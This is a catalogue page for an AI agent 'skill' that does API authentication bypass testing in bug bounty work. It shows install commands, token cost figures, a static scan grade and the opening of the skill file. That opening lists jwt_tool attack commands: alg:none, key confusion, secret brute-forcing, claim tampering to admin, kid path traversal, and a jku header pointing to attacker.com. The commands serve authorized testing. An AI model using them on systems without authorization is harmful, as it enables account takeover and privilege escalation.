Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/shulkwisec/bb-huge/api-authentication-bypassnpx skills add ShulkwiSEC/bb-huge --skill api-authentication-bypassgit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/api-authentication-bypass)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/api-authentication-bypass"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/api-authentication-bypass.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00072 | $0.02506 |
| Opus 5 | $0.00036 | $0.01253 |
| Sonnet 5 | $0.00014 | $0.00501 |
| Haiku 4.5 | $0.00007 | $0.00251 |
Grade A, and why
api-authentication-bypass scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -v https://api.target.com/v1/me 2>&1 | grep -i "auth\|cookie\|token\|key" Copies of this mod
1 near-identical copy found in the catalogue:
- api-authentication-bypass — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 253 lines — stays where its author put it; the contents beside it link to each section on GitHub.
API Authentication Bypass
When to Use
- When testing APIs for authentication weaknesses
- When JWT tokens are used for session management
- When OAuth2/OpenID Connect flows are implemented
- When API keys are used for authentication/authorization
- When testing for broken authentication patterns
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Identify Authentication Mechanism
# Determine what auth mechanism the API uses:
# 1. JWT tokens (Authorization: Bearer eyJ...)
# 2. API keys (X-API-Key: xxx, ?api_key=xxx)
# 3. OAuth2 tokens
# 4. Session cookies
# 5. Basic auth (Authorization: Basic base64)
# 6. HMAC signatures
# Inspect headers and responses
curl -v https://api.target.com/v1/me 2>&1 | grep -i "auth\|cookie\|token\|key"
Phase 2: JWT Token Attacks
# Decode JWT without verification
echo "eyJ0eXAi..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# jwt_tool — comprehensive JWT testing
pip install jwt_tool
# Attack 1: Algorithm confusion (alg: none)
python3 jwt_tool.py <TOKEN> -X a
# Strips signature, sets algorithm to "none"
# Attack 2: HMAC/RSA confusion (CVE-2016-10555)
# If server uses RS256, try HS256 with the public key as secret
python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem
# Attack 3: Brute-force weak secret
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# Attack 4: JWK header injection
python3 jwt_tool.py <TOKEN> -X i
# Attack 5: Modify claims
python3 jwt_tool.py <TOKEN> -T
# Change "role": "user" → "role": "admin"
# Change "sub": "1337" → "sub": "1" (admin user)
# Change "exp" to far future
# Attack 6: kid parameter injection
# If kid points to a file path:
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# Signs with empty string (content of /dev/null)
# Attack 7: jku/x5u header manipulation
# Point to attacker-controlled JWKS endpoint
python3 jwt_tool.py <TOKEN> -X s -ju "https://attacker.com/.well-known/jwks.json"
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 253 lines · 72 tokens per session scan A 2cf7dd4cec6d
api-authentication-bypass is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 72 tokens to every session and 2,506 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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